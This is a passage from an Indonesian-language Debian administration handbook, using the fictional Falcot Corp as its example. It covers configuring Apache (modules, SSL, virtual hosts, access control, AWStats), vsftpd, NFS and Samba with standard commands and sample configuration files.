Kemungkinan lain adalah dengan menggunakan MPM terdedikasi, seperti yang disediakan oleh libapache2-mpm-itk. Yang satu ini memiliki perilaku yang sedikit berbeda: ini memungkinkan "mengisolasi" host virtual (sebenarnya set halaman) sehingga mereka masing-masing berjalan sebagai pengguna yang berbeda. Kerentanan di satu situs web karena itu tidak bisa mengkompromi berkas milik pemilik situs web lain.

LIHAT SEKILAS Daftar modul

Daftar lengkap modul standar Apache dapat ditemukan daring.

→ https://httpd.apache.org/docs/2.4/mod/index.html

Apache adalah server yang modular, dan banyak fitur dilaksanakan oleh modul eksternal yang dimuat oleh program utama saat inisialisasinya. Konfigurasi standar hanya memfungsikan modul-modul yang paling umum, tetapi memfungsikan modul cukup dengan menjalankan a2enmod modul; untuk menonaktifkan modul, perintahnya adalah a2dismod modul. Program ini benar-benar hanya membuat (atau menghapus) link simbolik di /etc/apache2/mods-enabled/ menunjuk pada file yang sebenarnya (yang disimpan dalam /etc/apache2/mods-available/).

DALAM PRAKTEK Memeriksa konfigurasi

Modul mod_info (a2enmod info) memungkinkan untuk mengakses konfigurasi dan informasi server Apache yang komprehensif melalui peramban dengan mengunjungi http://localhost/server-info. Karena mungkin berisi informasi sensitif, akses hanya diperbolehkan dari host lokal secara default.

→ https://httpd.apache.org/docs/2.4/mod/mod_info.html

Dengan konfigurasi bakunya, server web mendengarkan pada port 80 (seperti yang dikonfigurasi di /etc/apache2/ports.conf), dan menyajikan halaman dari direktori /var/www/html/ (seperti yang dikonfigurasi di /etc/apache2/sites-enabled/000-default.conf).

11.2.2. Menambahkan dukungan untuk SSL

Apache 2.4 termasuk modul SSL (mod_ssl) yang diperlukan untuk HTTP yang aman (HTTPS) secara baku. Hanya perlu diaktifkan dengan a2enmod ssl, kemudian direktif yang diperlukan harus ditambahkan ke berkas konfigurasi. Contoh konfigurasi tersedia di /etc/apache2/sites-available/default-ssl.conf.

→ https://httpd.apache.org/docs/2.4/mod/mod_ssl.html

Jika Anda ingin menghasilkan sertifikat terpercaya, Anda dapat mengikuti bagian Bagian 10.2.1, “Membuat sertifikat tepercaya yang gratis” dan kemudian menyesuaikan variabel berikut:

SSLCertificateFile      /etc/letsencrypt/live/DOMAIN/fullchain.pem

SSLCertificateKeyFile   /etc/letsencrypt/live/DOMAIN/privkey.pem

SSLCertificateChainFile /etc/letsencrypt/live/DOMAIN/chain.pem

SSLCACertificateFile    /etc/ssl/certs/ca-certificates.crt

Mesti lebih hati-hati jika Anda ingin lebih menyukai koneksi SSL dengan Perfect Forward Secrecy (koneksi-koneksi tersebut menggunakan kunci sesi ephemeral yang memastikan bahwa terungkapnya kunci rahasia server tidak mengakibatkan terungkapnya lalu lintas lama yang terenkripsi yang mungkin tersimpan ketika menguping pada jaringan). Silakan lihat pada rekomendasi Mozilla, khususnya:

→ https://wiki.mozilla.org/Security/Server_Side_TLS#Apache

Sebagai alternatif dari modul SSL standar, ada modul ekstensi bernama mod_gnutls, yang dikirimkan dengan paket libapache2-mod-gnutls dan diaktifkan dengan perintah a2enmod gnutls.

→ https://mod.gnutls.org/

11.2.3. Mengkonfigurasi Host Virtual

Suatu host virtual adalah identitas tambahan untuk server web.

Apache menganggap dua macam host virtual: yang didasarkan pada alamat IP (atau port), dan yang mengandalkan nama domain dari server web. Metode pertama memerlukan mengalokasikan alamat IP yang berbeda (atau port) untuk setiap situs, sedangkan yang kedua dapat bekerja pada satu alamat IP (dan port), dan situs dibedakan oleh nama host yang dikirim oleh klien HTTP (yang hanya bekerja di versi 1.1 dari protokol HTTP — untungnya versi tersebut sudah cukup tua sehingga semua klien sudah menggunakannya).

(Semakin) langkanya alamat IPv4 biasanya lebih mengarah ke metode kedua; namun, itu dibuat lebih kompleks jika host virtual perlu menyediakan HTTPS juga, karena protokol SSL tidak selalu disediakan untuk berbasis nama virtual hosting; ekstensi SNI (Server Name Indication) yang memungkinkan kombinasi tersebut tidak ditangani oleh semua browser. Ketika beberapa situs HTTPS perlu menjalankan pada server yang sama, mereka akan biasanya dibedakan baik dengan berjalan pada port lain atau pada alamat IP yang berbeda (IPv6 dapat membantu di sana).

Konfigurasi default untuk Apache 2 memfungsikan host virtual berbasis nama. Selain itu, sebuah host virtual default didefinisikan dalam berkas /etc/apache2/sites-enabled/000-default.conf; host virtual ini akan digunakan jika tidak ditemukan host yang cocok dengan permintaan yang dikirim oleh klien.

HATI-HATI Host virtual pertama

Permintaan mengenai host virtual yang tak dikenal akan selalu disajikan oleh host virtual yang pertama didefinisikan, itulah sebabnya mengapa kita definisikan www.falcot.com pertama di sini.

LIHAT SEKILAS Apache mendukung SNI

Server Apache mendukung ekstensi protokol SSL yang bernama Server Name Indication (SNI). Ekstensi ini memungkinkan peramban untuk mengirim nama host server web selama pembentukan sambungan SSL, jauh lebih awal daripada permintaan HTTP itu sendiri, yang sebelumnya digunakan untuk mengidentifikasi host virtual yang diminta di antara yang di-host pada server yang sama (dengan alamat IP dan port yang sama). Hal ini memungkinkan Apache untuk memilih sertifikat SSL yang paling tepat agar transaksi dapat berlanjut.

Sebelum SNI, Apache akan selalu menggunakan sertifikat yang didefinisikan dalam host virtual baku. Klien yang mencoba untuk mengakses host virtual lain kemudian akan menampilkan peringatan, karena sertifikat yang mereka terima tidak cocok dengan situs web mereka coba akses. Untungnya, sebagian besar peramban sekarang bekerja dengan SNI; ini termasuk Microsoft Internet Explorer mulai versi 7.0 (mulai pada Vista), Mozilla Firefox dimulai dengan versi 2.0, Apple Safari sejak versi 3.2.1 dan semua versi Google Chrome.

Paket Apache yang tersedia di Debian dibangun dengan dukungan untuk SNI; maka tidak ada konfigurasi tertentu yang diperlukan.

Masing-masing host virtual ekstra ini kemudian digambarkan oleh sebuah berkas yang disimpan dalam /etc/apache2/situs-available/. Maka menyiapkan sebuah situs web untuk domain falcot.org adalah cukup dengan sekedar membuat berkas berikut, kemudian memfungsikan host virtual dengan a2ensite www.falcot.org.

Contoh 11.13. Berkas /etc/apache2/sites-available/www.falcot.org.conf

<VirtualHost *:80>

ServerName   www.falcot.org

ServerAlias  falcot.org

DocumentRoot /srv/www/www.falcot.org

</VirtualHost>

Apache server, yang dikonfigurasi sejauh ini, menggunakan berkas log yang sama untuk semua host virtual (walaupun ini bisa diganti dengan menambahkan direktif CustomLog dalam definisi host virtual). Maka masuk akal untuk menyesuaikan format berkas log ini agar menyertakan nama host virtual. Ini dapat dilakukan dengan menciptakan sebuah berkas /etc/apache2/conf-available/customlog.conf yang menentukan format baru untuk semua berkas log (dengan direktif LogFormat) dan memfungsikannya dengan a2enconf customlog . Baris CustomLog harus juga akan dihapus (atau dijadikan komentar) dari berkas /etc/apache2/sites-available/000-default.conf.

Contoh 11.14. Berkas /etc/apache2/conf-available/customlog.conf

# Format log baru termasuk nama host (virtual)

LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" vhost

# Sekarang mari kita pakai format "vhost" ini secara baku

CustomLog /var/log/apache2/access.log vhost

11.2.4. Direktif Umum

Bagian ini mengulas secara singkat beberapa direktif konfigurasi Apache yang sering digunakan.

Berkas konfigurasi utama biasanya memuat beberapa blok Directory blok; mereka memungkinkan menentukan perilaku yang berbeda untuk server tergantung pada lokasi berkas yang diminta. Blok tersebut umumnya memuat direktif Options dan AllowOverride.

Contoh 11.15. Blok direktori

<Directory /srv/www>

Options Includes FollowSymlinks

AllowOverride All

DirectoryIndex index.php index.html index.htm

</Directory>

Direktif DirectoryIndex berisi daftar berkas yang akan dicoba ketika permintaan klien cocok dengan suatu direktori. Berkas pertama yang ada dalam daftar digunakan dan dikirim sebagai respon.

Direktif Options diikuti oleh daftar pilihan yang diaktifkan. Nilai None menonaktifkan semua pilihan; sejalan dengan itu, All memfungsikan mereka semua kecuali MultiViews. Pilihan yang tersedia meliputi:

- ExecCGI menunjukkan bahwa skrip CGI dapat dijalankan.

- FollowSymlinks memberitahu server bahwa taut simbolik dapat diikuti, dan bahwa respon harus berisi isi dari target taut tersebut.

- SymlinksIfOwnerMatch juga memberitahu server untuk mengikuti taut simbolik, tetapi hanya bila taut dan target memiliki pemilik yang sama.

- Includes memfungsikan Server Side Includes (disingkat SSI). Ini adalah direktif yang tertanam di halaman HTML dan dieksekusi sambil jalan untuk setiap permintaan.

- IncludesNOEXEC memfungsikan Server Side Includes (SSI) tapi menonaktifkan perintah exec dan membatasi direktif include ke berkas teks/markup.

- Indexes memberitahu server untuk memberikan daftar isi direktori jika permintaan HTTP yang dikirim oleh klien menunjuk ke direktori tanpa berkas indeks (yaitu, ketika tidak ada berkas yang disebutkan oleh direktif DirectoryIndex yang ada dalam direktori ini).

- MultiViews memungkinkan negosiasi konten; ini dapat digunakan oleh server untuk mengembalikan halaman web yang cocok dengan bahasa pilihan sebagaimana dikonfigurasi dalam peramban.

KEMBALI KE DASAR berkas .htaccess

Berkas .htaccess berisi direktif konfigurasi Apache yang diberlakukan setiap kali suatu permintaan terkait dengan elemen dari direktori tempat itu disimpan. Lingkup direktif ini juga berlaku rekursif untuk semua subdirektori di dalamnya.

Sebagian besar direktif yang bisa muncul dalam blok Directory juga legal dalam berkas .htaccess.

Direktif AllowOverride mencantumkan semua pilihan yang dapat diaktifkan atau dinonaktifkan melalui berkas .htaccess. Penggunaan umum pilihan ini adalah untuk membatasi ExecCGI, sehingga administrator memilih pengguna yang diizinkan untuk menjalankan program di bawah identitas server web (pengguna www-data).

11.2.4.1. Memerlukan Otentikasi

Dalam beberapa keadaan, akses ke sebagian dari sebuah situs web harus dibatasi, jadi hanya pengguna sah yang memberikan nama pengguna dan kata sandi yang diberikan akses ke isi.

Contoh 11.16. berkas .htaccess yang memerlukan otentikasi

Require valid-user

AuthName "Private directory"

AuthType Basic

AuthUserFile /etc/apache2/authfiles/htpasswd-private

KEAMANAN Tidak ada keamanan

Sistem otentikasi yang digunakan dalam contoh di atas (Basic) memiliki keamanan minimal karena kata sandi dikirim dalam bentuk teks (hanya dikodekan sebagai base64, yang merupakan pengkodean sederhana, bukan suatu metode enkripsi). Juga harus dicatat bahwa dokumen-dokumen yang "dilindungi" oleh mekanisme ini juga pergi melalui jaringan dalam keadaan polos. Jika keamanan penting, seluruh sambungan HTTP harus dienkripsi dengan SSL.

Berkas /etc/apache2/authfiles/htpasswd-private berisi daftar pengguna dan kata sandi; itu umumnya dimanipulasi dengan perintah htpasswd. Sebagai contoh, perintah berikut digunakan untuk menambahkan pengguna atau mengubah sandi:

# htpasswd /etc/apache2/authfiles/htpasswd-private user

New password:

Re-type new password:

Adding password for user user

11.2.4.2. Membatasi Akses

Direktif Require mengendalikan pembatasan akses untuk suatu direktori (dan subdirektorinya, secara rekursif).

→ https://httpd.apache.org/docs/2.4/howto/access.html

Dapat digunakan untuk membatasi akses berdasarkan kepada banyak kriteria; kita akan berhenti di menggambarkan pembatasan akses berdasarkan alamat IP dari klien, tapi itu bisa dibuat jauh lebih kuat daripada itu, terutama ketika beberapa direktif Require digabung dalam sebuah blok RequireAll.

Contoh 11.17. Hanya mengizinkan dari jaringan lokal

Require ip 192.168.0.0/16

ALTERNATIF Sintaks lama

Sintaks Require hanya tersedia di Apache 2.4 (versi yang tersedia sejak Jessie). Untuk pengguna Wheezy, sintaks Apache 2.2 berbeda, dan kami menjelaskan di sini hanya untuk referensi, walaupun itu juga dapat dibuat tersedia di Apache 2.4 menggunakan modul mod_access_compat.

Direktif Allow from dan Deny from mengendalikan pembatasan akses untuk suatu direktori (dan subdirektorinya, secara rekursif).

Direktif Order memberitahu server dari urutan atas direktif Allow from dan Deny from diterapkan; yang terakhir cocok didahulukan. Secara konkret, Order deny,allow memungkinkan akses jika tidak ada Deny from yang berlaku, atau jika sebuah direktif Allow from berlaku. Sebaliknya, Order allow,deny menolak akses jika tidak ada direktif Allow from yang cocok (atau jika direktif Deny from berlaku).

Direktif Allow from dan Deny from dapat diikuti oleh sebuah alamat IP, suatu jaringan (seperti 192.168.0.0/255.255.255.0, 192.168.0.0/24, atau bahkan 192.168.0 ), nama host atau nama domain, atau kata kunci all, yang berlaku untuk semua.

Misalnya, untuk menolak koneksi secara default, tetapi memungkinkan mereka dari jaringan lokal, Anda bisa menggunakan ini:

Order deny,allow

Allow from 192.168.0.0/16

Deny from all

11.2.5. Penganalisis Log

Penganalisis log sering dipasang pada sebuah server web; karena memberi administrator gambaran yang presisi atas pola penggunaan server.

Para administrator Falcot Corp memilih AWStats (Advanced Web Statistics), untuk menganalisis berkas log Apache mereka.

Langkah konfigurasi pertama adalah penyesuaian berkas /etc/awstats/awstats.conf. Para administrator Falcot mempertahankannya kecuali parameter berikut:

LogFile="/var/log/apache2/access.log"

LogFormat = "%virtualname %host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot"

SiteDomain="www.falcot.com"

HostAliases="falcot.com REGEX[^.*\.falcot\.com$]"

DNSLookup=1

LoadPlugin="tooltips"

Semua parameter ini didokumentasikan oleh komentar dalam berkas templat. Secara khusus, parameter LogFile dan LogFormat menggambarkan lokasi dan format berkas log dan informasi di dalamnya; SiteDomain dan HostAliases berisi daftar berbagai nama yang dipakai oleh situs web utama.

Untuk situs lalu lintas tinggi, DNSLookup biasanya tidak diatur ke 1; untuk situs kecil, seperti Falcot yang dijelaskan di atas, pengaturan ini memungkinkan mendapatkan laporan yang lebih mudah dibaca yang meliputi nama-nama lengkap mesin bukan alamat IP mentah.

KEAMANAN Akses ke statistik

AWStats membuat statistik yang tersedia di situs web tanpa batasan secara default, tetapi pembatasan dapat diatur sehingga (mungkin) hanya beberapa alamat IP (internal) yang dapat mengaksesnya; daftar alamat IP yang diperbolehkan perlu didefinisikan dalam parameter AllowAccessFromWebToFollowingIPAddresses

AWStats juga akan diaktifkan untuk host virtual lain; masing-masing host virtual perlu memiliki berkas konfigurasi tersendiri, seperti misalnya /etc/awstats/awstats.www.falcot.org.conf.

Contoh 11.18. Berkas konfigurasi AWStats untuk sebuah host virtual

Include "/etc/awstats/awstats.conf"

SiteDomain="www.falcot.org"

HostAliases="falcot.org"

AWStats menggunakan banyak ikon yang disimpan dalam direktori /usr/share/awstats/ikon/. Agar ikon ini akan tersedia di situs web, konfigurasi Apache perlu disesuaikan untuk menyertakan direktif berikut:

Alias /awstats-icon/ /usr/share/awstats/icon/

Setelah beberapa menit (dan setelah skrip dijalankan beberapa kali), hasil tersedia daring:

→ http://www.falcot.com/cgi-bin/awstats.pl

→ http://www.falcot.org/cgi-bin/awstats.pl

HATI-HATI Rotasi berkas log

Agar statistik memperhitungkan semua log, AWStats perlu dijalankan tepat sebelum berkas log Apache tersebut diputar. Melihat direktif prerotate dari berkas /etc/logrotate.d/apache2, ini dapat diselesaikan dengan meletakkan symlink ke /usr/share/awstats/tools/update.sh di /etc/logrotate.d/ httpd-prerotate:

$ cat /etc/logrotate.d/apache2

/var/log/apache2/*.log {

daily

missingok

rotate 14

compress

delaycompress

notifempty

create 644 root adm

sharedscripts

postrotate

if invoke-rc.d apache2 status > /dev/null 2>&1; then \

invoke-rc.d apache2 reload > /dev/null 2>&1; \

fi;

endscript

prerotate

if [ -d /etc/logrotate.d/httpd-prerotate ]; then \

run-parts /etc/logrotate.d/httpd-prerotate; \

fi; \

endscript

}

$ sudo mkdir -p /etc/logrotate.d/httpd-prerotate

$ sudo ln -sf /usr/share/awstats/tools/update.sh \

/etc/logrotate.d/httpd-prerotate/awstats

Perhatikan juga bahwa berkas log yang dibuat oleh logrotate harus dibaca oleh semua orang, terutama AWStats. Dalam contoh di atas, ini dijamin oleh baris create 644 root adm (bukan izin default 640).

11.3. Server Berkas FTP

FTP (File Transfer Protocol) adalah salah satu protokol pertama Internet (RFC 959 dikeluarkan pada tahun 1985!). Itu digunakan untuk mendistribusikan berkas bahkan sebelum Web lahir (protokol HTTP diciptakan pada tahun 1990, dan secara resmi ditetapkan untuk versi 1.0 oleh RFC 1945, diterbitkan pada tahun 1996).

Protokol ini memungkinkan pengunggahan berkas dan pengunduhan berkas; untuk alasan ini, masih banyak digunakan untuk menyebarkan pembaruan ke sebuah situs web yang diselenggarakan oleh salah satu penyedia layanan Internet (atau entitas lain yang mewadahi situs web). Dalam kasus ini, akses aman dipaksakan dengan pengidentifikasi pengguna dan kata sandi; saat otentikasi sukses, server FTP memberikan akses baca-tulis ke direktori home pengguna.

Server FTP lain terutama digunakan untuk mendistribusikan berkas untuk diunduh publik; paket-paket Debian adalah contoh yang baik. Isi dari server tersebut diambil dari server lain, remote secara geografis, ini kemudian menjadi tersedia untuk pengguna yang lebih dekat. Ini berarti bahwa otentikasi klien tidak diperlukan; sebagai akibatnya, modus operasi ini dikenal sebagai "anonymous FTP". Agar sepenuhnya sempurna, klien mengotentikasi dengan nama pengguna anonim; kata sandi sering kali, oleh konvensi, adalah alamat surel pengguna, tetapi server mengabaikannya.

Banyak server FTP tersedia di Debian (ftpd[1], proftpd-basic, pyftpd dan sebagainya). Administrator Falcot Corp memilih vsftpd karena mereka hanya menggunakan server FTP untuk mendistribusikan beberapa berkas (termasuk sebuah repositori paket Debian); karena mereka tidak memerlukan fitur-fitur canggih, mereka memilih untuk fokus pada aspek keamanan.

Memasang paket menciptakan pengguna sistem ftp. Akun ini selalu digunakan untuk koneksi FTP anonim, dan direktori home-nya (/srv/ftp/) adalah akar dari pohon yang dibuat tersedia untuk pengguna yang tersambung ke layanan ini. Konfigurasi default (dalam /etc/vsftpd.conf) memerlukan beberapa perubahan untuk memenuhi kebutuhan sederhana yang membuat berkas-berkas besar tersedia untuk diunduh oleh publik: akses anonim perlu diaktifkan (anonymous_enable=YES) dan akses hanya-baca dari pengguna lokal perlu dinonaktifkan (local_enable=NO). Yang kedua sangat penting karena protokol FTP tidak menggunakan bentuk enkripsi apapun dan kata sandi pengguna bisa disadap saat lewat kabel.

[1] Paket ftpd tidak disertakan dalam Debian Buster karena suatu bug, yang tidak dapat dipecahkan sebelum rilis.

11.4. Server Berkas NFS

NFS (Network File System) merupakan sebuah protokol yang memungkinkan akses remote ke sistem berkas melalui jaringan. Semua sistem Unix dapat bekerja dengan protokol ini.

KASUS KHUSUS Share NFS dan Microsoft Windows

Ketika varian Windows yang lebih lama atau (disebut) "Home" terlibat, biasanya Samba (Bagian 11.5, “Menyiapkan Share Windows dengan Samba”) harus digunakan sebagai pengganti NFS. Namun demikian, Windows Server modern dan solusi Desktop "Pro" atau "Enterprise" memiliki dukungan bawaan untuk NFS. Setelah penginstalan komponen "Layanan untuk NFS", bagian NFS dapat diakses dan dipasang sementara atau permanen seperti share jaringan lainnya. Waspadai kemungkinan masalah encoding pada nama berkas.

Sebagai alternatif, Debian dapat diinstal di Windows 10 Pro dan lebih tinggi. Ini membutuhkan penginstalan komponen Windows Subsystem for Linux dan aplikasi Debian dari store Windows.

→ https://www.microsoft.com/en-us/p/debian/9msvkqc78pk6?

NFS adalah alat yang sangat berguna, tetapi secara historis menderita karena banyak keterbatasan, yang sebagian besar telah diperbaiki pada protokol versi 4. Kekurangannya adalah bahwa versi terbaru dari NFS lebih sulit untuk dikonfigurasi bila Anda ingin menggunakan fitur keamanan dasar seperti otentikasi dan enkripsi karena hal itu bergantung pada Kerberos. Dan tanpa mereka, protokol NFS harus dibatasi pada jaringan lokal yang terpercaya karena data pergi melalui jaringan tidak terenkripsi (sniffer bisa mencegat itu) dan hak akses diberikan didasarkan pada alamat IP klien (yang dapat dipalsukan).

DOKUMENTASI NFS HOWTO

Dokumentasi yang baik untuk menggelar NFSv4 jarang ditemui. Berikut adalah beberapa petunjuk dengan konten dari berbagai kualitas yang setidaknya memberikan beberapa petunjuk tentang apa yang harus dilakukan.

→ https://help.ubuntu.com/community/NFSv4Howto

→ https://wiki.linux-nfs.org/wiki/index.php/Nfsv4_configuration

11.4.1. Mengamankan NFS

Jika Anda tidak menggunakan fitur keamanan berbasis Kerberos, sangat penting untuk memastikan bahwa hanya mesin-mesin yang diizinkan untuk menggunakan NFS dapat terhubung ke berbagai server RPC yang diperlukan, karena protokol dasar mempercayai data yang diterima dari jaringan. Firewall juga harus memblokir IP spoofing untuk mencegah mesin di luar dari bertindak sebagai seolah di dalam, dan akses ke port yang sesuai harus dibatasi hanya untuk mesin-mesin yang memang akan mengakses share NFS.

KEMBALI KE DASAR RPC

RPC (Remote Procedure Call) adalah standar Unix untuk layanan remote. NFS adalah salah satu layanan tersebut.

Layanan RPC mendaftar ke direktori yang dikenal sebagai portmapper. Suatu klien yang ingin melakukan query NFS pertama menghubungi portmapper (pada port 111, TCP atau UDP), dan meminta server NFS; jawabannya biasanya menyebutkan port 2049 (default untuk NFS). Tidak semua layanan RPC harus menggunakan port tetap.

Versi protokol lebih tua memerlukan layanan RPC lainnya yang menggunakan port dinamis. Untungnya, dengan NFS versi 4 hanya port 2049 (untuk NFS) dan 111 (untuk portmapper) yang diperlukan dan sehingga mereka mudah untuk firewall.

11.4.2. Server NFS

Server NFS adalah bagian dari kernel Linux; di kernel yang disediakan oleh Debian itu dibangun sebagai modul kernel. Jika server NFS akan dijalankan secara otomatis pada saat boot, paket nfs-kernel-server harus diinstal; ini berisi skrip startup yang relevan.

Berkas konfigurasi server NFS, /etc/exsports, menampung daftar direktori yang dibuat tersedia melalui jaringan (diekspor). Untuk setiap share NFS, hanya mesin yang terdaftar yang diberi akses. Lebih banyak kontrol akses halus dapat diperoleh dengan beberapa pilihan. Sintaks berkas ini cukup sederhana:

/direktori/yang/akan/di-share mesin1(opsi1,opsi2,...) mesin2(...) ...

Catatan bahwa dengan NFSv4, semua direktori yang diekspor harus menjadi bagian dari hirarki tunggal dan bahwa direktori root dari hirarki itu harus diekspor dan diidentifikasi dengan pilihan fsid=0 atau fsid=root.

Setiap mesin dapat diidentifikasi dengan nama DNS atau alamat IP-nya. Seluruh set mesin juga dapat ditentukan dengan menggunakan sintaks seperti *. falcot.com atau kisaran alamat IP seperti 192.168.0.0/255.255.255.0 atau 192.168.0.0/24.

Direktori disediakan sebagai baca-saja secara default (atau dengan opsi ro). Opsi rw memungkinkan akses baca-tulis. Klien NFS biasanya terhubung dari port yang terbatas hanya untuk root (dengan kata lain, di bawah 1024); pembatasan ini dapat dicabut dengan pilihan insecure (opsi secure adalah implisit, tetapi dapat dibuat eksplisit jika diperlukan untuk kejelasan).

Secara default, server hanya menjawab query NFS ketika operasi disk saat ini telah selesai (opsi sync); ini dapat dinonaktifkan dengan opsi async. Menulis asinkron meningkatkan kinerja sedikit, tetapi mereka mengurangi keandalan karena ada risiko kehilangan data ketika server crash antara konfirmasi atas penulisan dan menulis sebenarnya pada disk. Karena nilai default berubah baru-baru ini (dibandingkan dengan nilai historis NFS), setelan eksplisit dianjurkan.

Untuk tidak memberikan akses root ke sistem berkas bagi klien NFS, semua pertanyaan yang muncul datang dari pengguna root dianggap oleh server sebagai datang dari pengguna nobody. Perilaku ini sesuai dengan opsi root_squash, dan diaktifkan secara default. Opsi no_root_squash, yang menonaktifkan perilaku ini, berisiko dan hanya boleh digunakan dalam lingkungan yang terkendali. Bila semua pengguna mesti dipetakan ke pengguna nobody, gunakan all_squash. Opsi anonuid=uid dan anongid=gid memungkinkan menentukan pengguna palsu lain untuk digunakan sebagai pengganti UID/GID 65534 (milik pengguna nobody dan grup nogroup).

Dengan NFSv4, Anda dapat menambahkan opsi sec untuk menunjukkan tingkat keamanan yang Anda inginkan: sec=sys adalah default tanpa fitur keamanan khusus, sec=krb5 hanya memfungsikan otentikasi, sec=krb5i menambahkan perlindungan integritas, dan sec=krb5p tingkat yang paling lengkap yang mencakup perlindungan privasi (dengan data enkripsi). Agar ini bekerja Anda memerlukan berjalannya Kerberos yang telah disiapkan (layanan itu tidak dibahas dalam buku ini).

Opsi-opsi lain tersedia; mereka didokumentasikan dalam halaman manual exports(5).

HATI-HATI Instalasi pertama

Skrip boot /etc/init.d/nfs-kernel-server hanya memulai server jika /etc/exports mencantumkan satu atau lebih share NFS yang valid. Pada konfigurasi awal, setelah berkas ini telah disunting agar berisi entri yang valid, make server NFS karena itu harus dimulai dengan perintah berikut:

# systemctl start nfs-kernel-server

11.4.3. Klien NFS

Seperti dengan sistem berkas lain, mengintegrasikan share NFS ke dalam hirarki sistem memerlukan pengaitan (dan paket nfs-common). Karena sistem berkas ini memiliki kekhasan, beberapa penyesuaian diperlukan dalam sintaks perintah mount dan berkas /etc/fstab.

Contoh 11.19. Secara manual mengait dengan perintah mount

# mount -t nfs4 -o rw,nosuid arrakis.internal.falcot.com:/shared /srv/shared

Contoh 11.20. Entri NFS di berkas /etc/fstab

arrakis.internal.falcot.com:/shared /srv/shared nfs4 rw,nosuid 0 0

Entri menjelaskan pengaitan di atas, saat sistem startup, direktori NFS /shared/ dari server arrakis ke dalam direktori /srv/shared/ lokal. Akses baca-tulis diminta (maka parameter rw). Opsi nosuid adalah upaya perlindungan yang menghapus setiap bit setuid atau setgid dari program-program yang disimpan di share. Jika share NFS hanya dimaksudkan untuk menyimpan dokumen, opsi lain yang dianjurkan adalah noexec, yang mencegah mengeksekusi program-program yang disimpan di share. Perhatikan bahwa pada server, direktori shared ada di bawah NFSv4 ekspor root (misalnya /export/shared), itu bukan direktori aras puncak.

Halaman manual nfs(5) menjelaskan semua opsi secara agak mendetail.

11.5. Menyiapkan Share Windows dengan Samba

Samba adalah keluarga alat penanganan protokol SMB (juga dikenal sebagai "CIFS") di Linux. Protokol ini digunakan oleh Windows untuk share jaringan dan pencetak bersama.

Samba juga dapat bertindak sebagai pengontrol domain Windows. Ini adalah alat yang luar biasa untuk memastikan mulusnya integrasi server Linux dan mesin desktop kantor yang masih menjalankan Windows.

11.5.1. Server Samba

Paket samba berisi dua server utama Samba 4, smbd dan nmbd.

DOKUMENTASI Lebih lanjut

Samba server sangat dapat dikonfigurasi dan serbaguna, dan dapat menjawab banyak macam kasus yang berbeda sesuai kebutuhan dan arsitektur jaringan yang sangat beraneka. Buku ini hanya berfokus pada kasus penggunaan ketika Samba digunakan sebagai server mandiri, tetapi juga bisa menjadi Domain Controller NT4 atau Active Directory Domain Controller penuh, atau sekedar anggota dari domain yang ada (yang bisa dikelola oleh server Windows).

Paket samba berisi semua halaman buku panduan yang diperlukan dan di /usr/share/doc/samba/example/ banyak berkas contoh yang diberi komentar. Jika Anda mencari dokumentasi yang lebih lengkap, Anda dapat memeriksa situs web Samba.

→ https://www.samba.org/samba/docs/

ALAT Mengotentikasi dengan sebuah Server Windows

Winbind memberikan administrator sistem pilihan untuk menggunakan server Windows sebagai server otentikasi. Winbind juga terintegrasi secara bersih dengan PAM dan NSS. Hal ini memungkinkan menyiapkan mesin-mesin Linux di mana semua pengguna domain Windows secara otomatis mendapatkan akun.

Informasi lebih lanjut dapat ditemukan di direktori /usr/share/doc/libpam-windbind/examples/pam_winbind/ dari paket libam-winbind.

11.5.1.1. Menata konfigurasi dengan debconf

Paket menyiapkan sebuah konfigurasi minimal selama instalasi awal dengan menyalin polos /usr/share/samba/smb.conf. Maka Anda mesti benar-benar menjalankan dpkg-reconfigure samba-common untuk mengadaptasinya:

Pada instalasi pertama, informasi yang diperlukan adalah hanya nama workgroup yang akan diikuti oleh server Samba (jawabannya adalah FALCOTNET dalam kasus kita).

Dalam kasus pemutakhiran paket (dari versi Debian old stable) atau bila server SMB telah dikonfigurasi untuk memakai suatu server WINS (wins server), paket juga mengusulkan mengidentifikasi server WINS dari informasi yang diberikan oleh daemon DHCP. Para administrator Falcot Corp menolak pilihan ini, karena mereka berniat untuk menggunakan server Samba itu sendiri sebagai server WINS.

11.5.1.2. Mengkonfigurasi Secara Manual

11.5.1.2.1. Perubahan atas smb.conf

Persyaratan di Falcot membutuhkan pilihan lainnya untuk diubah di berkas konfigurasi /etc/samba/smb.conf. Kutipan-kutipan berikut meringkas perubahan yang dilakukan di bagian [global].

[...]

[global]

## Browsing/Identification ###

# Change this to the workgroup/NT-domain name your Samba server will part of

workgroup = FALCOTNET

# Windows Internet Name Serving Support Section:

# WINS Support - Tells the NMBD component of Samba to enable its WINS Server

wins support = yes

[...]

####### Authentication #######

# Server role. Defines in which mode Samba will operate. Possible

# values are "standalone server", "member server", "classic primary

# domain controller", "classic backup domain controller", "active

# directory domain controller".

#

# Most people will want "standalone server" or "member server".

# Running as "active directory domain controller" will require first

# running "samba-tool domain provision" to wipe databases and create a

# new domain.

server role = standalone server

obey pam restrictions = yes

[...]

# "security = user" is always a good idea. This will require a Unix account

# in this server for every user accessing the server.

security = user

[...]

Menunjukkan bahwa Samba harus bertindak sebagai server nama Netbios (WINS) untuk jaringan lokal. Opsi ini telah dihapus dari konfigurasi default di Buster dan harus ditambahkan secara manual jika diinginkan.

Ini adalah nilai default untuk parameter ini; namun karena itu pusat bagi konfigurasi Samba, mengisinya secara eksplisit direkomendasikan. Setiap pengguna harus mengotentikasi sebelum mengakses share apapun.

11.5.1.2.2. Menambahkan Pengguna

Setiap pengguna Samba perlu sebuah akun di server; akun Unix harus dibuat terlebih dahulu, kemudian pengguna perlu didaftarkan di basis data Samba. Langkah Unix dilakukan secara normal (menggunakan adduser misalnya).

Menambahkan pengguna ke basis data Samba adalah sekedar menjalankan perintah smbpasswd -a pengguna; perintah ini meminta kata sandi secara interaktif.

Pengguna dapat dihapus dengan perintah smbpasswd - x pengguna. Akun Samba juga dapat sementara dinonaktifkan (dengan smbpasswd -d pengguna) dan diaktifkan kembali kemudian (dengan smbpasswd -e pengguna).

11.5.2. Klien Samba

Fitur klien di Samba memungkinkan mesin Linux untuk mengakses share Windows dan pencetak bersama. Program yang diperlukan tersedia dalam paket yang cifs-utils dan smbclient.

11.5.2.1. Program smbclient

